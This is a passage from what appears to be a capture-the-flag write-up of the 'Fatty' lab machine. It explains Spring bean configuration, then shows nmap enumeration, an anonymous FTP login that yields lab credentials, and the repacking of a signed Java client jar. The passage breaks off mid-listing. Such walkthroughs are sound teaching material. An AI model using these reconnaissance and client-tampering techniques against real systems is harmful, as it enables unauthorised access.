class=\"enlighter-x1\">constructor-arg<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">index<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"1\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">ref<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"trustManager\"<\/span><span class=\"enlighter-g1\">\/&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;\/<\/span><span class=\"enlighter-x1\">bean<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">&lt;\/<\/span><span class=\"enlighter-x1\">beans<\/span><span class=\"enlighter-g1\">&gt;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As you can see, the<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>file does define a total of three different<span>\u00a0<\/span><em>beans<\/em>.<\/p>\n<ol>\n<li>The first<span>\u00a0<\/span><em>bean<span>\u00a0<\/span><\/em>is an object of the class<span>\u00a0<\/span><code>ConnectionInformation<\/code><span>\u00a0<\/span>and it takes two additional constructor arguments. The constructor of this class probably looks like this:<\/li>\n<\/ol>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ConnectionInformation<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> hostname, <\/span><span class=\"enlighter-k5\">int<\/span><span class=\"enlighter-text\"> port<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"> <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ...<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Since the<span>\u00a0<\/span><em>IoC<\/em><span>\u00a0<\/span>container handles object creation for you, it needs to know all parameters that are required by the constructor in order to create an object of the corresponding class. Also notice that the corresponding parameters are marked as<span>\u00a0<\/span><em>constructor-arg<\/em><span>\u00a0<\/span>inside the<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>file.<\/p>\n<ol start=\"2\">\n<li>The second bean is an object of the<span>\u00a0<\/span><code>TrustManager<\/code><span>\u00a0<\/span>class and takes one additional argument. Notice that this time the<span>\u00a0<\/span><em>constructor-arg<\/em><span>\u00a0<\/span>declaration is missing and the<span>\u00a0<\/span><em>property<\/em><span>\u00a0<\/span>keyword is used instead. This form of parameter definition is required for classes that take their parameters through setter functions and not by a constructor. In such cases,<span>\u00a0<\/span><em>Spring<span>\u00a0<\/span><\/em>requires the constructor of the corresponding class to take zero arguments and it expects the presence of a<span>\u00a0<\/span><em>setter function<\/em><span>\u00a0<\/span>with name<span>\u00a0<\/span><code>setParamatername<\/code><span>\u00a0<\/span>(<code>setKeystorePath<\/code><span>\u00a0<\/span>in our example).<\/li>\n<li>So far we only saw<span>\u00a0<\/span><em>beans<span>\u00a0<\/span><\/em>that take static parameters as input arguments. The third<span>\u00a0<\/span><em>bean<span>\u00a0<\/span><\/em>defined inside the<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>file is an object of the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>class and takes two additional constructor arguments. In contrast to the other<span>\u00a0<\/span><em>beans<\/em>, these two arguments are not just<span>\u00a0<\/span><em>Strings<span>\u00a0<\/span><\/em>or<span>\u00a0<\/span><em>Integers<\/em>, but object instances of other classes. As a reminder, here is the constructor of the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>class:<\/li>\n<\/ol>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Connection<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> ConnectionInformation cInfo, SecurityManager sManager<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ...<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Instead of specifying the value of the arguments using the<span>\u00a0<\/span><em>value<\/em><span>\u00a0<\/span>keyword inside the<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>file, we use the<span>\u00a0<\/span><em>ref<\/em><span>\u00a0<\/span>keyword that can be used to reference other<span>\u00a0<\/span><em>Bean<span>\u00a0<\/span><\/em>definitions. The<span>\u00a0<\/span><em>IoC<\/em><span>\u00a0<\/span>container knows, that it needs to create object instances for the<span>\u00a0<\/span><em>trustManager<\/em><span>\u00a0<\/span>and<span>\u00a0<\/span><em>connectionInformation<\/em><span>\u00a0<\/span><em>Beans<span>\u00a0<\/span><\/em>first, before it can create the<span>\u00a0<\/span><em>connection<\/em><span>\u00a0<\/span><em>Bean<\/em>.<\/p>\n<p>Now that you know how the<span>\u00a0<\/span><em>IoC<\/em><span>\u00a0<\/span>container creates objects<span>\u00a0<\/span><em>Beans<\/em>), we should take a look at how this actually works inside the source code. To show this, consider that the above mentioned<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>file has been stored as<span>\u00a0<\/span><code>beans.xml<\/code><span>\u00a0<\/span>inside our class path. If we want now to create an object of the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>class using the<span>\u00a0<\/span><em>IoC<\/em><span>\u00a0<\/span>container, we can just make the following calls from our<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>code:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">ApplicationContext context = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ClassPathXmlApplicationContext<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"beans.xml\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Connection obj = <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">Connection<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> context.<\/span><span class=\"enlighter-m3\">getBean<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"connection\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Simple, isn\u2019t it? We just load our<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>configuration file and ask the<span>\u00a0<\/span><em>IoC<\/em><span>\u00a0<\/span>container for the desired<span>\u00a0<\/span><em>Bean<\/em>.<\/p>\n<p><em>Fat clients<\/em><span>\u00a0<\/span>that are using<span>\u00a0<\/span><em>Spring<span>\u00a0<\/span><\/em>can be very dangerous when using the<span>\u00a0<\/span><em>Bottom-Up<\/em><span>\u00a0<\/span>approach for investigating the clients source code. Starting from the low level classes, you will see many class dependencies and may overlook that the client is using<span>\u00a0<\/span><em>Spring<span>\u00a0<\/span><\/em>to wire all of them together. Recognizing that a client is using<span>\u00a0<\/span><em>Spring<span>\u00a0<\/span><\/em>and utilizing it to create complex objects with just a few lines of code can be very important.<\/p>\n<h3 id=\"fat-client-conclusions\">2.4 \u2013 Fat Client Conclusions<\/h3>\n<p>We have now finished our brief tutorial on<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>penetration testing. The goal of this introduction was to explain some general concepts and to introduce certain terms that you may encounter during a<em><span>\u00a0<\/span>fat client<span>\u00a0<\/span><\/em>security assessment. If you would ask me to reduce the<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>introduction into a single<span>\u00a0<\/span><em>take home message<\/em><span>\u00a0<\/span>I would formulate it like this:<\/p>\n<h4>Always try to get control of the communication channel between client and server.<\/h4>\n<p>This is the most important part of a<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>penetration test and once it succeeds, chances are high that you will identify some dangerous vulnerabilities.<\/p>\n<p>That being said, with only the short introduction from above it will still be difficult to engage a real world<em><span>\u00a0<\/span>fat client<\/em>. Practice is probably the most important thing in preparation of a<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>assessment.<span>\u00a0<\/span><em>Fatty<span>\u00a0<\/span><\/em>gives you the opportunity to practice most of the above mentioned concepts against a small<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>client.<\/p>\n<h2 id=\"user-on-fatty\">3.0 \u2013 Getting User on Fatty<\/h2>\n<p>Now that we have a basic understanding of<span>\u00a0<\/span><em>fat clients<\/em>, we can finally start to take on the<span>\u00a0<\/span><em>Fatty<span>\u00a0<\/span><\/em>machine. The following sections will show you one example, how you can get access to the<span>\u00a0<\/span><em>Fatty<span>\u00a0<\/span><\/em>application server. However, as with any machine that was configured intentionally vulnerable, there may be other paths that let you takeover the system.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/fatt-1.png\" title_text=\"fatt-1\" _builder_version=\"4.9.4\" _module_preset=\"default\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<h3 id=\"enumeration\">3.1 \u2013 Starting Enumeration<\/h3>\n<p>As with any other machine, we start with a<span>\u00a0<\/span><em>nmap<span>\u00a0<\/span><\/em>scan to get an overview of the exposed endpoints:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll enlighter-show-rawcode\">\n<div class=\"enlighter-raw\">[pentester@kali ~]$ sudo nmap -sV -p- 10.10.10.174 Starting Nmap 7.80 ( https:\/\/nmap.org ) at 2020-07-08 00:25 CEST Nmap scan report for fatty.htb (10.10.10.174) Host is up (0.032s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 21\/tcp open ftp vsftpd 2.0.8 or later 22\/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) 1337\/tcp open ssl\/waste? 1338\/tcp open ssl\/wmc-log-svc? 1339\/tcp open ssl\/kjtsiteserver? Service Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/div>\n<\/div>\n<p>Not too much ports open. Starting from the lowest port number, we see that<span>\u00a0<\/span><em>nmap<span>\u00a0<\/span><\/em>prints a relatively old version of<span>\u00a0<\/span><em>vsftpd<\/em>. However, when connecting to the<span>\u00a0<\/span><em>FTP<span>\u00a0<\/span><\/em>server we can see that<span>\u00a0<\/span><em>nmap<span>\u00a0<\/span><\/em>did only made a wild guess:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali ~<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ ftp 10.10.10.<\/span><span class=\"enlighter-n1\">174<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Connected<\/span><span class=\"enlighter-text\"> to 10.10.10.174.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">220<\/span><span class=\"enlighter-text\"> qtc's development server<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Name<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">10.10.10.<\/span><span class=\"enlighter-n1\">174<\/span><span class=\"enlighter-text\">:pentester<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Instead of returning a banner that contains the server version, the system administrator of this box has changed the banner to some useless text. The actual<span>\u00a0<\/span><em>vsftpd<\/em><span>\u00a0<\/span>version can therefore be much higher than 2.0.8. We could now test some known exploits against the server, but exploiting logical vulnerabilities is far more fun. So lets see if we can login using the anonymous user:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">Name<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">10.10.10.<\/span><span class=\"enlighter-n1\">174<\/span><span class=\"enlighter-text\">:pentester<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">: anonymous<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">230<\/span><span class=\"enlighter-text\"> Login successful.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Remote<\/span><span class=\"enlighter-text\"> system type is <\/span><span class=\"enlighter-e3\">UNIX<\/span><span class=\"enlighter-text\">.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Using<\/span><span class=\"enlighter-text\"> binary mode to transfer files.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">ftp<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> ls<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">200<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PORT<\/span><span class=\"enlighter-text\"> command successful. Consider using <\/span><span class=\"enlighter-e3\">PASV<\/span><span class=\"enlighter-text\">.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">150<\/span><span class=\"enlighter-text\"> Here comes the directory listing.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> ftp ftp <\/span><span class=\"enlighter-n1\">15426727<\/span><span class=\"enlighter-text\"> Oct <\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\"> fatty-client.jar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> ftp ftp <\/span><span class=\"enlighter-n1\">526<\/span><span class=\"enlighter-text\"> Oct <\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\"> note.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> ftp ftp <\/span><span class=\"enlighter-n1\">426<\/span><span class=\"enlighter-text\"> Oct <\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\"> note2.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> ftp ftp <\/span><span class=\"enlighter-n1\">194<\/span><span class=\"enlighter-text\"> Oct <\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\"> note3.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">226<\/span><span class=\"enlighter-text\"> Directory send <\/span><span class=\"enlighter-e3\">OK<\/span><span class=\"enlighter-text\">.<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As once can see, the anonymous login is successful and the server offers a bunch of files. First of all, we get a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file with name<span>\u00a0<\/span><em>fatty-client.jar<\/em>. Since already the introduction was about<em><span>\u00a0<\/span>fat clients<\/em>, you may already assume that this will be the<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>we are working with. Additionally, we get a<br \/>bunch of notes.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll enlighter-show-rawcode\">\n<div class=\"enlighter-raw\">[pentester@kali ~]$ cat note.txt Dear members, because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337. Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice if you use different servers from day to day to balance the server load. We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of doing it yourself \ud83d\ude09 Best regards, qtc [pentester@kali ~]$ cat note2.txt Dear members, we are currently experimenting with new java layouts. The new client uses a static layout. If your are using a tiling window manager or only have a limited screen size, try to resize the client window until you see the login from. Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11 per default, you may need to install it manually. Best regards, qtc [pentester@kali ~]$ cat note3.txt Dear members, We had to remove all other user accounts because of some seucrity issues. Until we have fixed these issues, you can use my account: User: qtc Pass: clarabibi Best regards, qtc<\/div>\n<\/div>\n<p>Okay, lets summarize the information that we find inside these note files:<\/p>\n<ol>\n<li>We have to patch our<span>\u00a0<\/span><em>fatty-client.jar<\/em><span>\u00a0<\/span>manually, to connect either to port 1337, 1338 or 1339 of the application server.<\/li>\n<li>If we have struggles with the layout, we should apply some resizing.<\/li>\n<li>We got a valid set of credentials:<span>\u00a0<\/span><em>qtc:clarabibi<\/em><span>\u00a0<\/span>(what else?). Furthermore, we know that all other accounts are disabled.<\/li>\n<\/ol>\n<p>This information is of course pretty valuable for us. Not only we got a set of valid credentials, but also we know what is running behind the ports 1337, 1338 and 1339. Investigating these ports manually does probably not make a whole lot of sense, since the<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>may uses a binary protocol to communicate with the server. Instead we should focus on the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file that we have downloaded from the<span>\u00a0<\/span><em>FTP<span>\u00a0<\/span><\/em>server to communicate with these ports.<\/p>\n<h3 id=\"running-fatty\">3.2 \u2013 Getting Fatty Running<\/h3>\n<p>Like mentioned in our brief fat client introduction, step one is always to get the client running. So lets launch the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file to see what happens without any modifications. At this point, you may already encounter some problems. Make sure to download the<span>\u00a0<\/span><code>fatty-client.jar<\/code><span>\u00a0<\/span>in<span>\u00a0<\/span><em>FTP Binary Mode<\/em><span>\u00a0<\/span>and launch the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>using<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>version 8. This version of<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>is old, but still maintained and very common. If you don\u2019t know which version is required by a<span>\u00a0<\/span><em>.jar<\/em>, starting with<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>8 is usually a good guess. When following these recommendations, you should see the following user interface:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/08.png\" title_text=\"08\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p><span>This does not look too bad! At least the client is starting already. However, once we hit the login button, we will get the expected connection error.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/09.png\" title_text=\"09\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p><span>We can use\u00a0<\/span><em>wireshark<\/em><span>\u00a0to understand what the client is trying to do after hitting the login button:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/10.png\" title_text=\"10\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p><span>As you can see, it already fails on the\u00a0<\/span><em>DNS<span>\u00a0<\/span><\/em><span>lookup. The client connects per default to\u00a0<\/span><code>server.fatty.htb<\/code><span>, which is not resolvable by the\u00a0<\/span><em>DNS<span>\u00a0<\/span><\/em><span>server. The easiest fix is to add this entry to the<\/span><code>\/etc\/hosts<\/code><span>\u00a0file, but also in this case, we will get still a connection error.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/wire-1.png\" title_text=\"wire-1\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p>As you can see, the client tries to connect to port<span>\u00a0<\/span><code>8000<\/code><span>\u00a0<\/span>of the remote server. This is exactly the behavior described in the<span>\u00a0<\/span><code>note.txt<\/code><span>\u00a0<\/span>file and it seems that we need to patch the client manually to correct this (we could also cheat and use e.g.<span>\u00a0<\/span><em>iptables<span>\u00a0<\/span><\/em>with a<span>\u00a0<\/span><em>d-nat<\/em><span>\u00a0<\/span>rule to redirect the network traffic to the correct port, but patching the client creates probably the same amount of effort).<\/p>\n<p>Patching properties like the<span>\u00a0<\/span><em>hostname<span>\u00a0<\/span><\/em>or<em><span>\u00a0<\/span>port number<\/em><span>\u00a0<\/span>of the remote server has usually not to be done inside the decompiled<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>code. Most developers are aware that these values can change over time and allow to set them using configuration files. In the context of<span>\u00a0<\/span><em>Java<\/em>,<span>\u00a0<\/span><code><em>.<\/em>properties<\/code><span>\u00a0<\/span>files are a common place to store such information and they are stored as plain text files inside a<span>\u00a0<\/span><em>.jar<\/em>. Extracting the contents of the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file, modifying the<span>\u00a0<\/span><em>.properties<\/em><span>\u00a0<\/span>files and repacking the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file is therefore usually enough to apply small patches.<\/p>\n<p>Like mentioned in the introduction, we can extract the contents of the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file using the<span>\u00a0<\/span><code>unzip<\/code><span>\u00a0<\/span>command. After the contents are extracted, we can simply use<span>\u00a0<\/span><code>grep<\/code><span>\u00a0<\/span>over the different files and search for either the hostname<span>\u00a0<\/span><code>server.fatty.htb<\/code><span>\u00a0<\/span>or the port number 8000. To speed up the process, we can also exclude all files with a<span>\u00a0<\/span><em>.class<\/em><span>\u00a0<\/span>ending.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll enlighter-show-rawcode\">\n<div class=\"enlighter-raw\">pentester@kali:~\/$ unzip -d unzipped\/ fatty-client.jar pentester@kali:~\/$ grep -E -R \"server.fatty.htb|8000\" --exclude \\*.class unzipped\/ unzipped\/beans.xml: &lt;constructor-arg index=\"0\" value = \"server.fatty.htb\"\/&gt; unzipped\/beans.xml: &lt;constructor-arg index=\"1\" value = \"8000\"\/&gt;<\/div>\n<\/div>\n<p>As you can see we find the corresponding configuration options inside the<span>\u00a0<\/span><code>beans.xml<\/code><span>\u00a0<\/span>file. Furthermore, this does indicate that the client is using the<span>\u00a0<\/span><em>Spring framework<\/em>, since we know the file format of<span>\u00a0<\/span><code>beans.xml<\/code><span>\u00a0<\/span>from our short<span>\u00a0<\/span><em>Spring<\/em><span>\u00a0<\/span>introduction.<\/p>\n<p>Since the hostname<span>\u00a0<\/span><code>server.fatty.htb<\/code><span>\u00a0<\/span>was already set in our<span>\u00a0<\/span><code>\/etc\/hosts<\/code><span>\u00a0<\/span>file, we only need to reconfigure the port to<span>\u00a0<\/span><em>1337<\/em>,<span>\u00a0<\/span><em>1338<\/em><span>\u00a0<\/span>or<span>\u00a0<\/span><em>1339<\/em>. Then we can repack the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file again and check whether the login is working.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll enlighter-show-rawcode\">\n<div class=\"enlighter-raw\">pentester@kali:~\/unzipped$ zip -r -0 fatty-client.jar * pentester@kali:~\/unzipped$ java -jar fatty-client.jar Exception in thread \"AWT-EventQueue-1\" org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from class path resource [beans.xml]; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:419) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:336) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:304) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:188) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:224) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:195) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:257) at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:128) at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:94) [...]<\/div>\n<\/div>\n<p>Hm\u2026 An exception occurs once we hit the login button. The core of this exception is the error message:<span>\u00a0<\/span><code>SHA-256 digest error for beans.xml<\/code>. From the<span>\u00a0<\/span><em>fat client introduction<\/em><span>\u00a0<\/span>we know that this error is caused by a signature mismatch inside of a signed<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file. It seems that<span>\u00a0<\/span><em>fatty-client.jar<\/em><span>\u00a0<\/span>was signed and by modifying the<span>\u00a0<\/span><code>beans.xml<\/code><span>\u00a0<\/span>file, we have caused an invalid signature inside the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file. Fortunately, we know already how to patch this.<\/p>\n<p>We go back to the unzipped contents and open the<span>\u00a0<\/span><code>MANIFEST.MF<\/code><span>\u00a0<\/span>file. Indeed, we will see some signatures:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~\/unzipped$ cat <\/span><span class=\"enlighter-e3\">META<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">INF<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-e3\">MANIFEST<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-e3\">MF<\/span><span class=\"enlighter-text\"> | head -n <\/span><span class=\"enlighter-n1\">20<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Manifest-Version: 1.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Archiver-Version: Plexus Archiver<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Built-By: root<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span 